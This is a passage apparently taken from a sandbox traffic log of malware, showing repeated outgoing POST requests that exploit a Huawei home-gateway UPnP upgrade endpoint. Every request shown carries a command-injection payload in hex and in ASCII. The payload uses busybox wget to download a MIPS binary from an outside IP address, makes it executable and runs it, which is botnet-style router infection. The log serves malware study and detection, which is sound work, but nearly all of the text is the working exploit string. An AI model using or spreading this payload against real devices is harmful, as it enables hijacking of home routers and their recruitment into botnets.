79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:38.341567039 CET	1510	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:50.371841908 CET	1819	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:16.228204012 CET	2574	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.23	52680	156.241.100.190	37215

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:28.390022039 CET	1257	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:30.374604940 CET	1314	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:32.710311890 CET	1373	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:37.573689938 CET	1506	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:47.044315100 CET	1757	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:05.985868931 CET	2268	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 